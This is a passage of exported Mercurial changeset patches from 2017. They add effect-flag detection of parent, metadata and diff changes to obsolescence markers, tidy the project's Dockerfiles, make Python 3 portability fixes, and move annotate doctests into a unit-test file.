# Node ID fa26f5891e68d57c481880e8021d857b228f73cc
# Parent  57980af73cfa3ac1e3f178f51c288229ccc7699f
effectflag: detect when parents changed

Store in effect flag when the parents changed between the predecessor and
its successors.

It can happens with "hg rebase" or "hg grab".

Differential Revision: https://phab.mercurial-scm.org/D539

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -309,6 +309,7 @@
 EFFECTFLAGFIELD = "ef1"
 
 DESCCHANGED = 1 << 0 # action changed the description
+PARENTCHANGED = 1 << 2 # action change the parent
 USERCHANGED = 1 << 4 # the user changed
 DATECHANGED = 1 << 5 # the date changed
 BRANCHCHANGED = 1 << 6 # the branch changed
@@ -338,6 +339,10 @@
         if changectx.branch() != source.branch():
             effects |= BRANCHCHANGED
 
+        # Check if at least one of the parent has changed
+        if changectx.parents() != source.parents():
+            effects |= PARENTCHANGED
+
     return effects
 
 def getobsoleted(repo, tr):
diff --git a/tests/test-obsmarkers-effectflag.t b/tests/test-obsmarkers-effectflag.t
--- a/tests/test-obsmarkers-effectflag.t
+++ b/tests/test-obsmarkers-effectflag.t
@@ -81,7 +81,7 @@
 check result
 
   $ hg debugobsolete --rev .
-  c85eff83a0340efd9da52b806a94c350222f3371 da86aa2f19a30d6686b15cae15c7b6c908ec9699 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'rebase', 'user': 'test'}
+  c85eff83a0340efd9da52b806a94c350222f3371 da86aa2f19a30d6686b15cae15c7b6c908ec9699 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '4', 'operation': 'rebase', 'user': 'test'}
 
 amend touching the diff
 -----------------------
@@ -150,7 +150,7 @@
   rebasing 17:b57fed8d8322 "H1"
   merging H0
   $ hg debugobsolete -r tip
-  b57fed8d83228a8ae3748d8c3760a77638dd4f8c e509e2eb3df5d131ff7c02350bf2a9edd0c09478 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'rebase', 'user': 'test'}
+  b57fed8d83228a8ae3748d8c3760a77638dd4f8c e509e2eb3df5d131ff7c02350bf2a9edd0c09478 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '4', 'operation': 'rebase', 'user': 'test'}
 
 amend closing the branch should be detected as meta change
 ----------------------------------------------------------
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499345924 -7200
#      Thu Jul 06 14:58:44 2017 +0200
# Node ID 95759620d4922e64768a5f2687af98b983046fe1
# Parent  fa26f5891e68d57c481880e8021d857b228f73cc
effectflag: detect when meta changed

Store in effect flag when the meta changed between the predecessor and its
successors. We blacklisted some known meta that would always changed when
another flag change. For example rebase would always add a meta rebase-source
while the effect flag parents will already detect this situation.

It can happens with various hg commands.

Differential Revision: https://phab.mercurial-scm.org/D540

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -7,6 +7,8 @@
 
 from __future__ import absolute_import
 
+import re
+
 from . import (
     phases,
     util
@@ -309,11 +311,27 @@
 EFFECTFLAGFIELD = "ef1"
 
 DESCCHANGED = 1 << 0 # action changed the description
+METACHANGED = 1 << 1 # action change the meta
 PARENTCHANGED = 1 << 2 # action change the parent
 USERCHANGED = 1 << 4 # the user changed
 DATECHANGED = 1 << 5 # the date changed
 BRANCHCHANGED = 1 << 6 # the branch changed
 
+METABLACKLIST = [
+    re.compile('^branch$'),
+    re.compile('^.*-source$'),
+    re.compile('^.*_source$'),
+    re.compile('^source$'),
+]
+
+def metanotblacklisted(metaitem):
+    """ Check that the key of a meta item (extrakey, extravalue) does not
+    match at least one of the blacklist pattern
+    """
+    metakey = metaitem[0]
+
+    return not any(pattern.match(metakey) for pattern in METABLACKLIST)
+
 def geteffectflag(relation):
     """ From an obs-marker relation, compute what changed between the
     predecessor and the successor.
@@ -343,6 +361,16 @@
         if changectx.parents() != source.parents():
             effects |= PARENTCHANGED
 
+        # Check if other meta has changed
+        changeextra = changectx.extra().items()
+        ctxmeta = filter(metanotblacklisted, changeextra)
+
+        sourceextra = source.extra().items()
+        srcmeta = filter(metanotblacklisted, sourceextra)
+
+        if ctxmeta != srcmeta:
+            effects |= METACHANGED
+
     return effects
 
 def getobsoleted(repo, tr):
diff --git a/tests/test-obsmarkers-effectflag.t b/tests/test-obsmarkers-effectflag.t
--- a/tests/test-obsmarkers-effectflag.t
+++ b/tests/test-obsmarkers-effectflag.t
@@ -164,4 +164,4 @@
 check result
 
   $ hg debugobsolete -r .
-  2f599e54c1c6974299065cdf54e1ad640bfb7b5d 12c6238b5e371eea00fd2013b12edce3f070928b 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+  2f599e54c1c6974299065cdf54e1ad640bfb7b5d 12c6238b5e371eea00fd2013b12edce3f070928b 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '2', 'operation': 'amend', 'user': 'test'}
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499346007 -7200
#      Thu Jul 06 15:00:07 2017 +0200
# Node ID 187bc224554adff72fb5df3879649a1f52ed08a6
# Parent  95759620d4922e64768a5f2687af98b983046fe1
effectflag: detect when diff changed

Store in effect flag when the diff changed between the predecessor and
its successors.

Comparing the diff is not easy because we do not want to incorrectly detect a

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -312,6 +312,7 @@
 
 DESCCHANGED = 1 << 0 # action changed the description
 METACHANGED = 1 << 1 # action change the meta
+DIFFCHANGED = 1 << 3 # action change diff introduced by the changeset
 PARENTCHANGED = 1 << 2 # action change the parent
 USERCHANGED = 1 << 4 # the user changed
 DATECHANGED = 1 << 5 # the date changed
@@ -332,6 +333,47 @@
 
     return not any(pattern.match(metakey) for pattern in METABLACKLIST)
 
+def _prepare_hunk(hunk):
+    """Drop all information but the username and patch"""
+    cleanhunk = []
+    for line in hunk.splitlines():
+        if line.startswith(b'# User') or not line.startswith(b'#'):
+            if line.startswith(b'@@'):
+                line = b'@@\n'
+            cleanhunk.append(line)
+    return cleanhunk
+
+def _getdifflines(iterdiff):
+    """return a cleaned up lines"""
+    lines = next(iterdiff, None)
+
+    if lines is None:
+        return lines
+
+    return _prepare_hunk(lines)
+
+def _cmpdiff(leftctx, rightctx):
+    """return True if both ctx introduce the "same diff"
+
+    This is a first and basic implementation, with many shortcoming.
+    """
+
+    # Leftctx or right ctx might be filtered, so we need to use the contexts
+    # with an unfiltered repository to safely compute the diff
+    leftunfi = leftctx._repo.unfiltered()[leftctx.rev()]
+    leftdiff = leftunfi.diff(git=1)
+    rightunfi = rightctx._repo.unfiltered()[rightctx.rev()]
+    rightdiff = rightunfi.diff(git=1)
+
+    left, right = (0, 0)
+    while None not in (left, right):
+        left = _getdifflines(leftdiff)
+        right = _getdifflines(rightdiff)
+
+        if left != right:
+            return False
+    return True
+
 def geteffectflag(relation):
     """ From an obs-marker relation, compute what changed between the
     predecessor and the successor.
@@ -371,6 +413,10 @@
         if ctxmeta != srcmeta:
             effects |= METACHANGED
 
+        # Check if the diff has changed
+        if not _cmpdiff(source, changectx):
+            effects |= DIFFCHANGED
+
     return effects
 
 def getobsoleted(repo, tr):
diff --git a/tests/test-obsmarkers-effectflag.t b/tests/test-obsmarkers-effectflag.t
--- a/tests/test-obsmarkers-effectflag.t
+++ b/tests/test-obsmarkers-effectflag.t
@@ -93,7 +93,7 @@
 check result
 
   $ hg debugobsolete --rev .
-  ebfe0333e0d96f68a917afd97c0a0af87f1c3b5f 75781fdbdbf58a987516b00c980bccda1e9ae588 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+  ebfe0333e0d96f68a917afd97c0a0af87f1c3b5f 75781fdbdbf58a987516b00c980bccda1e9ae588 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '8', 'operation': 'amend', 'user': 'test'}
 
 amend with multiple effect (desc and meta)
 -------------------------------------------
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1503592830 -7200
#      Thu Aug 24 18:40:30 2017 +0200
# Node ID 2fd06499dc8e6a5a784b1334b925c289d7b54e4e
# Parent  187bc224554adff72fb5df3879649a1f52ed08a6
effectflag: document effect flag

Differential Revision: https://phab.mercurial-scm.org/D542

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -307,7 +307,21 @@
             foreground = set(repo.set('%ln::', known))
     return set(c.node() for c in foreground)
 
-# logic around storing and using effect flags
+# effectflag field
+#
+# Effect-flag is a 1-byte bit field used to store what changed between a
+# changeset and its successor(s).
+#
+# The effect flag is stored in obs-markers metadata while we iterate on the
+# information design. That's why we have the EFFECTFLAGFIELD. If we come up
+# with an incompatible design for effect flag, we can store a new design under
+# another field name so we don't break readers. We plan to extend the existing
+# obsmarkers bit-field when the effect flag design will be stabilized.
+#
+# The effect-flag is placed behind an experimental flag
+# `effect-flags` set to off by default.
+#
+
 EFFECTFLAGFIELD = "ef1"
 
 DESCCHANGED = 1 << 0 # action changed the description
# HG changeset patch
# User muxator <a.mux@inwind.it>
# Date 1506812542 -7200
#      Sun Oct 01 01:02:22 2017 +0200
# Node ID 1baa077214aeae716c813b31d46b91617ef85dfb
# Parent  2fd06499dc8e6a5a784b1334b925c289d7b54e4e
docker: try to follow the best practices for writing Dockerfiles

Merged multiple RUN instructions and sorted the arguments alphabetically
Reference: https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices/

diff --git a/contrib/docker/centos5 b/contrib/docker/centos5
--- a/contrib/docker/centos5
+++ b/contrib/docker/centos5
@@ -1,9 +1,23 @@
 FROM centos:centos5
-RUN sed -i 's/^mirrorlist/#mirrorlist/' /etc/yum.repos.d/*.repo
-RUN sed -i 's/^#\(baseurl=\)http:\/\/mirror.centos.org\/centos/\1http:\/\/vault.centos.org/' /etc/yum.repos.d/*.repo
-RUN sed -i 's/\$releasever/5.11/' /etc/yum.repos.d/*.repo
-RUN yum install -y gcc make rpm-build gettext tar
-RUN yum install -y python-devel python-docutils
+RUN \
+	sed -i 's/^mirrorlist/#mirrorlist/' /etc/yum.repos.d/*.repo && \
+	sed -i 's/^#\(baseurl=\)http:\/\/mirror.centos.org\/centos/\1http:\/\/vault.centos.org/' /etc/yum.repos.d/*.repo && \
+	sed -i 's/\$releasever/5.11/' /etc/yum.repos.d/*.repo
+
+RUN yum install -y \
+	gcc \
+	gettext \
+	make \
+	python-devel \
+	python-docutils \
+	rpm-build \
+	tar
+
 # For creating repo meta data
-RUN yum install -y createrepo
-RUN yum install -y readline-devel openssl-devel ncurses-devel zlib-devel bzip2-devel
+RUN yum install -y \
+	bzip2-devel \
+	createrepo \
+	ncurses-devel \
+	openssl-devel \
+	readline-devel \
+	zlib-devel
diff --git a/contrib/docker/centos6 b/contrib/docker/centos6
--- a/contrib/docker/centos6
+++ b/contrib/docker/centos6
@@ -1,11 +1,20 @@
 FROM centos:centos6
-RUN yum install -y gcc
-RUN yum install -y python-devel python-docutils
-RUN yum install -y make
-RUN yum install -y rpm-build
-RUN yum install -y gettext
-RUN yum install -y tar
+RUN yum install -y \
+	gcc \
+	gettext \
+	make \
+	python-devel \
+	python-docutils \
+	rpm-build \
+	tar
+
 # For creating repo meta data
 RUN yum install -y createrepo
+
 # For python
-RUN yum install -y readline-devel openssl-devel ncurses-devel zlib-devel bzip2-devel
+RUN yum install -y \
+	bzip2-devel \
+	ncurses-devel \
+	openssl-devel \
+	readline-devel \
+	zlib-devel
diff --git a/contrib/docker/centos7 b/contrib/docker/centos7
--- a/contrib/docker/centos7
+++ b/contrib/docker/centos7
@@ -1,9 +1,12 @@
 FROM centos:centos7
-RUN yum install -y gcc
-RUN yum install -y python-devel python-docutils
-RUN yum install -y make
-RUN yum install -y rpm-build
-RUN yum install -y gettext
-RUN yum install -y tar
+RUN yum install -y \
+	gcc \
+	gettext \
+	make \
+	python-devel \
+	python-docutils \
+	rpm-build \
+	tar
+
 # For creating repo meta data
 RUN yum install -y createrepo
diff --git a/contrib/docker/debian.template b/contrib/docker/debian.template
--- a/contrib/docker/debian.template
+++ b/contrib/docker/debian.template
@@ -2,11 +2,11 @@
 RUN apt-get update && apt-get install -y \
   build-essential \
   debhelper \
+  devscripts \
   dh-python \
-  devscripts \
   less \
   python \
   python-all-dev \
   python-docutils \
-  zip \
-  unzip
+  unzip \
+  zip
diff --git a/contrib/docker/fedora20 b/contrib/docker/fedora20
--- a/contrib/docker/fedora20
+++ b/contrib/docker/fedora20
@@ -1,8 +1,11 @@
 FROM fedora:20
-RUN yum install -y gcc
-RUN yum install -y python-devel python-docutils
-RUN yum install -y make
-RUN yum install -y rpm-build
-RUN yum install -y gettext
+RUN yum install -y \
+	gcc \
+	gettext \
+	make \
+	python-devel \
+	python-docutils \
+	rpm-build
+
 # For creating repo meta data
 RUN yum install -y createrepo
diff --git a/contrib/docker/fedora21 b/contrib/docker/fedora21
--- a/contrib/docker/fedora21
+++ b/contrib/docker/fedora21
@@ -1,8 +1,11 @@
 FROM fedora:21
-RUN yum install -y gcc
-RUN yum install -y python-devel python-docutils
-RUN yum install -y make
-RUN yum install -y rpm-build
-RUN yum install -y gettext
+RUN yum install -y \
+	gcc \
+	gettext \
+	make \
+	python-devel \
+	python-docutils \
+	rpm-build
+
 # For creating repo meta data
 RUN yum install -y createrepo
diff --git a/contrib/docker/ubuntu.template b/contrib/docker/ubuntu.template
--- a/contrib/docker/ubuntu.template
+++ b/contrib/docker/ubuntu.template
@@ -2,11 +2,11 @@
 RUN apt-get update && apt-get install -y \
   build-essential \
   debhelper \
+  devscripts \
   dh-python \
-  devscripts \
   less \
   python \
   python-all-dev \
   python-docutils \
-  zip \
-  unzip
+  unzip \
+  zip
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506515928 -32400
#      Wed Sep 27 21:38:48 2017 +0900
# Node ID e416819d9ebb7f5147ec254a6a3217d6a800e028
# Parent  1baa077214aeae716c813b31d46b91617ef85dfb
doctest: drop hack to run py2/3 tests selectively

All doctests pass on Python 3.

diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -24,10 +24,7 @@
         return any(doctest.OutputChecker.check_output(self, w, g, optionflags)
                    for w, g in [(want, got), (want2, got2)])
 
-# TODO: migrate doctests to py3 and enable them on both versions
-def testmod(name, optionflags=0, testtarget=None, py2=True, py3=True):
-    if not (not ispy3 and py2 or ispy3 and py3):
-        return
+def testmod(name, optionflags=0, testtarget=None):
     __import__(name)
     mod = sys.modules[name]
     if testtarget is not None:
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506843424 -3600
#      Sun Oct 01 08:37:04 2017 +0100
# Node ID 12bfecd0ffe6cd0c1f2489376ab7577661130480
# Parent  e416819d9ebb7f5147ec254a6a3217d6a800e028
formatter: fix default list/dict generator to be evaluated more than once

Before, _hybrid.gen must be a generator which could be consumed only once.
It was okay in templatekw.py since template keywords are functions which
create temporary hybrid objects, but the formatter doesn't work in that way.

To work around the issue, this patch makes _hybrid.gen optionally be a
function returning a generator.

Thanks to Pulkit for finding this issue.

diff --git a/mercurial/formatter.py b/mercurial/formatter.py
--- a/mercurial/formatter.py
+++ b/mercurial/formatter.py
@@ -348,15 +348,14 @@
         data = util.sortdict(_iteritems(data))
         def f():
             yield _plainconverter.formatdict(data, key, value, fmt, sep)
-        return templatekw.hybriddict(data, key=key, value=value, fmt=fmt,
-                                     gen=f())
+        return templatekw.hybriddict(data, key=key, value=value, fmt=fmt, gen=f)
     @staticmethod
     def formatlist(data, name, fmt, sep):
         '''build object that can be evaluated as either plain string or list'''
         data = list(data)
         def f():
             yield _plainconverter.formatlist(data, name, fmt, sep)
-        return templatekw.hybridlist(data, name=name, fmt=fmt, gen=f())
+        return templatekw.hybridlist(data, name=name, fmt=fmt, gen=f)
 
 class templateformatter(baseformatter):
     def __init__(self, ui, out, topic, opts):
diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -39,15 +39,12 @@
 
     def __init__(self, gen, values, makemap, joinfmt):
         if gen is not None:
-            self.gen = gen
+            self.gen = gen  # generator or function returning generator
         self._values = values
         self._makemap = makemap
         self.joinfmt = joinfmt
-    @util.propertycache
     def gen(self):
-        return self._defaultgen()
-    def _defaultgen(self):
-        """Generator to stringify this as {join(self, ' ')}"""
+        """Default generator to stringify this as {join(self, ' ')}"""
         for i, x in enumerate(self._values):
             if i > 0:
                 yield ' '
@@ -104,9 +101,12 @@
 def unwraphybrid(thing):
     """Return an object which can be stringified possibly by using a legacy
     template"""
-    if not util.safehasattr(thing, 'gen'):
+    gen = getattr(thing, 'gen', None)
+    if gen is None:
         return thing
-    return thing.gen
+    if callable(gen):
+        return gen()
+    return gen
 
 def unwrapvalue(thing):
     """Move the inner value object out of the wrapper"""
@@ -685,7 +685,7 @@
     # Format the successorssets
     def render(d):
         t = []
-        for i in d.gen:
+        for i in d.gen():
             t.append(i)
         return "".join(t)
 
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -760,8 +760,12 @@
   3de5eca88c00 ????-??-?? (glob)
   $ hg debugobsolete -r6 -T '{join(metadata % "{key}={value}", " ")}\n'
   user=test <test@example.net>
-  $ hg debugobsolete -r6 -T '{metadata}\n'
+  $ hg debugobsolete -r6 -T '{metadata}\n{metadata}\n'
+  'user': 'test <test@example.net>'
   'user': 'test <test@example.net>'
+  $ hg debugobsolete -r6 -T '{succnodes}\n{succnodes}\n'
+  3de5eca88c00aa039da7399a220f4a5221faa585
+  3de5eca88c00aa039da7399a220f4a5221faa585
   $ hg debugobsolete -r6 -T '{flag} {get(metadata, "user")}\n'
   0 test <test@example.net>
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506857391 14400
#      Sun Oct 01 07:29:51 2017 -0400
# Node ID ae2fcf7af4099d4d27eb6d0ec7e9a53d39024876
# Parent  12bfecd0ffe6cd0c1f2489376ab7577661130480
httppasswordmgrdbproxy: specify exact arguments

We only ever call these functions in a single way, so let's just
actually specify them. We need to do some string/bytes encoding
dancing here for Python 3, so it'll help to know what arguments we
need to convert.

# no-check-commit because I'm modifying functions that check-commit
does not like.

Differential Revision: https://phab.mercurial-scm.org/D885

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -146,11 +146,11 @@
             self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
         return self._mgr
 
-    def add_password(self, *args, **kwargs):
-        return self._get_mgr().add_password(*args, **kwargs)
+    def add_password(self, realm, uris, user, passwd):
+        return self._get_mgr().add_password(realm, uris, user, passwd)
 
-    def find_user_password(self, *args, **kwargs):
-        return self._get_mgr().find_user_password(*args, **kwargs)
+    def find_user_password(self, realm, uri):
+        return self._get_mgr().find_user_password(realm, uri)
 
 def _catchterm(*args):
     raise error.SignalInterrupt
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506874553 14400
#      Sun Oct 01 12:15:53 2017 -0400
# Node ID a454123f5d9484ec904fa4c5fdd21451b0699486
# Parent  ae2fcf7af4099d4d27eb6d0ec7e9a53d39024876
keepalive: python 3 portability tweaks

Differential Revision: https://phab.mercurial-scm.org/D888

diff --git a/mercurial/keepalive.py b/mercurial/keepalive.py
--- a/mercurial/keepalive.py
+++ b/mercurial/keepalive.py
@@ -92,6 +92,7 @@
 
 from .i18n import _
 from . import (
+    pycompat,
     util,
 )
 
@@ -235,7 +236,8 @@
         # The string form of BadStatusLine is the status line. Add some context
         # to make the error message slightly more useful.
         except httplib.BadStatusLine as err:
-            raise urlerr.urlerror(_('bad HTTP status line: %s') % err.line)
+            raise urlerr.urlerror(
+                _('bad HTTP status line: %s') % pycompat.sysbytes(err.line))
         except (socket.error, httplib.HTTPException) as err:
             raise urlerr.urlerror(err)
 
@@ -358,9 +360,12 @@
 
 
     def __init__(self, sock, debuglevel=0, strict=0, method=None):
+        extrakw = {}
+        if not pycompat.ispy3:
+            extrakw['strict'] = True
+            extrakw['buffering'] = True
         httplib.HTTPResponse.__init__(self, sock, debuglevel=debuglevel,
-                                      strict=True, method=method,
-                                      buffering=True)
+                                      method=method, **extrakw)
         self.fileno = sock.fileno
         self.code = None
         self._rbuf = ''
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506874594 14400
#      Sun Oct 01 12:16:34 2017 -0400
# Node ID 0ee9cf8d054a7b5039e5f3a5ef2da264806792a4
# Parent  a454123f5d9484ec904fa4c5fdd21451b0699486
url: use native strings for header values

Differential Revision: https://phab.mercurial-scm.org/D889

diff --git a/mercurial/url.py b/mercurial/url.py
--- a/mercurial/url.py
+++ b/mercurial/url.py
@@ -19,6 +19,7 @@
     error,
     httpconnection as httpconnectionmod,
     keepalive,
+    pycompat,
     sslutil,
     util,
 )
@@ -495,13 +496,13 @@
     # agent string for anything, clients should be able to define whatever
     # user agent they deem appropriate.
     agent = 'mercurial/proto-1.0 (Mercurial %s)' % util.version()
-    opener.addheaders = [('User-agent', agent)]
+    opener.addheaders = [(r'User-agent', pycompat.sysstr(agent))]
 
     # This header should only be needed by wire protocol requests. But it has
     # been sent on all requests since forever. We keep sending it for backwards
     # compatibility reasons. Modern versions of the wire protocol use
     # X-HgProto-<N> for advertising client support.
-    opener.addheaders.append(('Accept', 'application/mercurial-0.1'))
+    opener.addheaders.append((r'Accept', r'application/mercurial-0.1'))
     return opener
 
 def open(ui, url_, data=None):
# HG changeset patch
# User Siddharth Agarwal <sid0@fb.com>
# Date 1506936887 25200
#      Mon Oct 02 02:34:47 2017 -0700
# Node ID b332c01247d81cb5c8c364a6986bdeb277d33c41
# Parent  0ee9cf8d054a7b5039e5f3a5ef2da264806792a4
check-code: allow an exception for camelcase where required

unittest has a `maxDiff` parameter which has to be set to `None` in order for
large enough failure diffs to be displayed. Add a comment to disable the
camelcase check for `self.maxDiff = None` lines.

Differential Revision: https://phab.mercurial-scm.org/D895

diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -273,7 +273,7 @@
 #    (r'^\s+[^_ \n][^_. \n]+_[^_\n]+\s*=',
 #     "don't use underbars in identifiers"),
     (r'^\s+(self\.)?[A-Za-z][a-z0-9]+[A-Z]\w* = ',
-     "don't use camelcase in identifiers"),
+     "don't use camelcase in identifiers", r'#.*camelcase-required'),
     (r'^\s*(if|while|def|class|except|try)\s[^[\n]*:\s*[^\\n]#\s]+',
      "linebreak after :"),
     (r'class\s[^( \n]+:', "old-style class, use class foo(object)",
# HG changeset patch
# User Siddharth Agarwal <sid0@fb.com>
# Date 1506936887 25200
#      Mon Oct 02 02:34:47 2017 -0700
# Node ID 80215865d154d82d9cedd3da96454604bb2a9349
# Parent  b332c01247d81cb5c8c364a6986bdeb277d33c41
annotate: move annotatepair unit tests to a separate file

In upcoming patches the output is going to be significantly longer than it is
today, and doctests don't allow wrapping the output.

Differential Revision: https://phab.mercurial-scm.org/D896

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1112,56 +1112,7 @@
     Additionally, if `skipchild` is True, replace all other lines with parent
     annotate data as well such that child is never blamed for any lines.
 
-    >>> oldfctx = b'old'
-    >>> p1fctx, p2fctx, childfctx = b'p1', b'p2', b'c'
-    >>> olddata = b'a\nb\n'
-    >>> p1data = b'a\nb\nc\n'
-    >>> p2data = b'a\nc\nd\n'
-    >>> childdata = b'a\nb2\nc\nc2\nd\n'
-    >>> diffopts = mdiff.diffopts()
-
-    >>> def decorate(text, rev):
-    ...     return ([(rev, i) for i in xrange(1, text.count(b'\n') + 1)], text)
-
-    Basic usage:
-
-    >>> oldann = decorate(olddata, oldfctx)
-    >>> p1ann = decorate(p1data, p1fctx)
-    >>> p1ann = _annotatepair([oldann], p1fctx, p1ann, False, diffopts)
-    >>> p1ann[0]
-    [('old', 1), ('old', 2), ('p1', 3)]
-    >>> p2ann = decorate(p2data, p2fctx)
-    >>> p2ann = _annotatepair([oldann], p2fctx, p2ann, False, diffopts)
-    >>> p2ann[0]
-    [('old', 1), ('p2', 2), ('p2', 3)]
-
-    Test with multiple parents (note the difference caused by ordering):
-
-    >>> childann = decorate(childdata, childfctx)
-    >>> childann = _annotatepair([p1ann, p2ann], childfctx, childann, False,
-    ...                          diffopts)
-    >>> childann[0]
-    [('old', 1), ('c', 2), ('p2', 2), ('c', 4), ('p2', 3)]
-
-    >>> childann = decorate(childdata, childfctx)
-    >>> childann = _annotatepair([p2ann, p1ann], childfctx, childann, False,
-    ...                          diffopts)
-    >>> childann[0]
-    [('old', 1), ('c', 2), ('p1', 3), ('c', 4), ('p2', 3)]
-
-    Test with skipchild (note the difference caused by ordering):
-
-    >>> childann = decorate(childdata, childfctx)
-    >>> childann = _annotatepair([p1ann, p2ann], childfctx, childann, True,
-    ...                          diffopts)
-    >>> childann[0]
-    [('old', 1), ('old', 2), ('p2', 2), ('p2', 2), ('p2', 3)]
-
-    >>> childann = decorate(childdata, childfctx)
-    >>> childann = _annotatepair([p2ann, p1ann], childfctx, childann, True,
-    ...                          diffopts)
-    >>> childann[0]
-    [('old', 1), ('old', 2), ('p1', 3), ('p1', 3), ('p2', 3)]
+    See test-annotate.py for unit tests.
     '''
     pblocks = [(parent, mdiff.allblocks(parent[1], child[1], opts=diffopts))
                for parent in parents]
diff --git a/tests/test-annotate.py b/tests/test-annotate.py
new file mode 100644
--- /dev/null
+++ b/tests/test-annotate.py
@@ -0,0 +1,75 @@
+from __future__ import absolute_import
+from __future__ import print_function
+
+import unittest
+
+from mercurial import (
+    mdiff,
+)
+from mercurial.context import (
+    _annotatepair,
+)
+
+class AnnotateTests(unittest.TestCase):
+    """Unit tests for annotate code."""
+
+    def testannotatepair(self):
+        self.maxDiff = None # camelcase-required
+
+        oldfctx = b'old'
+        p1fctx, p2fctx, childfctx = b'p1', b'p2', b'c'
+        olddata = b'a\nb\n'
+        p1data = b'a\nb\nc\n'
+        p2data = b'a\nc\nd\n'
+        childdata = b'a\nb2\nc\nc2\nd\n'
+        diffopts = mdiff.diffopts()
+
+        def decorate(text, rev):
+            return ([(rev, i) for i in xrange(1, text.count(b'\n') + 1)], text)
+
+        # Basic usage
+
+        oldann = decorate(olddata, oldfctx)
+        p1ann = decorate(p1data, p1fctx)
+        p1ann = _annotatepair([oldann], p1fctx, p1ann, False, diffopts)
+        self.assertEqual(p1ann[0], [('old', 1), ('old', 2), ('p1', 3)])
+
+        p2ann = decorate(p2data, p2fctx)
+        p2ann = _annotatepair([oldann], p2fctx, p2ann, False, diffopts)
+        self.assertEqual(p2ann[0], [('old', 1), ('p2', 2), ('p2', 3)])
+
+        # Test with multiple parents (note the difference caused by ordering)
+
+        childann = decorate(childdata, childfctx)
+        childann = _annotatepair([p1ann, p2ann], childfctx, childann, False,
+                                 diffopts)
+        self.assertEqual(childann[0],
+            [('old', 1), ('c', 2), ('p2', 2), ('c', 4), ('p2', 3)]
+        )
+
+        childann = decorate(childdata, childfctx)
+        childann = _annotatepair([p2ann, p1ann], childfctx, childann, False,
+                                 diffopts)
+        self.assertEqual(childann[0],
+            [('old', 1), ('c', 2), ('p1', 3), ('c', 4), ('p2', 3)]
+        )
+
+        # Test with skipchild (note the difference caused by ordering)
+
+        childann = decorate(childdata, childfctx)
+        childann = _annotatepair([p1ann, p2ann], childfctx, childann, True,
+                                 diffopts)
+        self.assertEqual(childann[0],
+            [('old', 1), ('old', 2), ('p2', 2), ('p2', 2), ('p2', 3)]
+        )
+
+        childann = decorate(childdata, childfctx)
+        childann = _annotatepair([p2ann, p1ann], childfctx, childann, True,
+                                 diffopts)
+        self.assertEqual(childann[0],
+            [('old', 1), ('old', 2), ('p1', 3), ('p1', 3), ('p2', 3)]
+        )
+
+if __name__ == '__main__':
+    import silenttestrunner
+    silenttestrunner.main(__name__)
# HG changeset patch
# User Siddharth Agarwal <sid0@fb.com>
# Date 1506936887 25200
#      Mon Oct 02 02:34:47 2017 -0700
# Node ID 52e9310626a89975938c4ecbcf426954a083e784
# Parent  80215865d154d82d9cedd3da96454604bb2a9349
context: rename local 'attr' to 'attr_'

In the next diff we're going to import mercurial.thirdparty.attr, and pyflakes
complains about this if this rename isn't done.

Differential Revision: https://phab.mercurial-scm.org/D897

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -2420,9 +2420,9 @@
         if reusable:
             # copy extra fields from originalfctx
             attrs = ['rawdata', 'rawflags', '_filenode', '_filerev']
-            for attr in attrs:
-                if util.safehasattr(originalfctx, attr):
-                    setattr(self, attr, getattr(originalfctx, attr))
+            for attr_ in attrs:
+                if util.safehasattr(originalfctx, attr_):
+                    setattr(self, attr_, getattr(originalfctx, attr_))
 
     def data(self):
         return self._datafunc()
# HG changeset patch
# User Siddharth Agarwal <sid0@fb.com>
# Date 1506936887 25200
#      Mon Oct 02 02:34:47 2017 -0700
# Node ID 2e32c6a31cc71bb5abb7b7198188cf633d836d91
# Parent  52e9310626a89975938c4ecbcf426954a083e784
annotate: introduce attr for storing per-line annotate data

We're going to extend this a bit -- at first by simply adding whether this was
a skipped child. We're well on our way to outgrowing tuples, though -- adding
more and more fields to tuples becomes annoying very quickly.

Differential Revision: https://phab.mercurial-scm.org/D898

diff --git a/mercurial/commands.py b/mercurial/commands.py
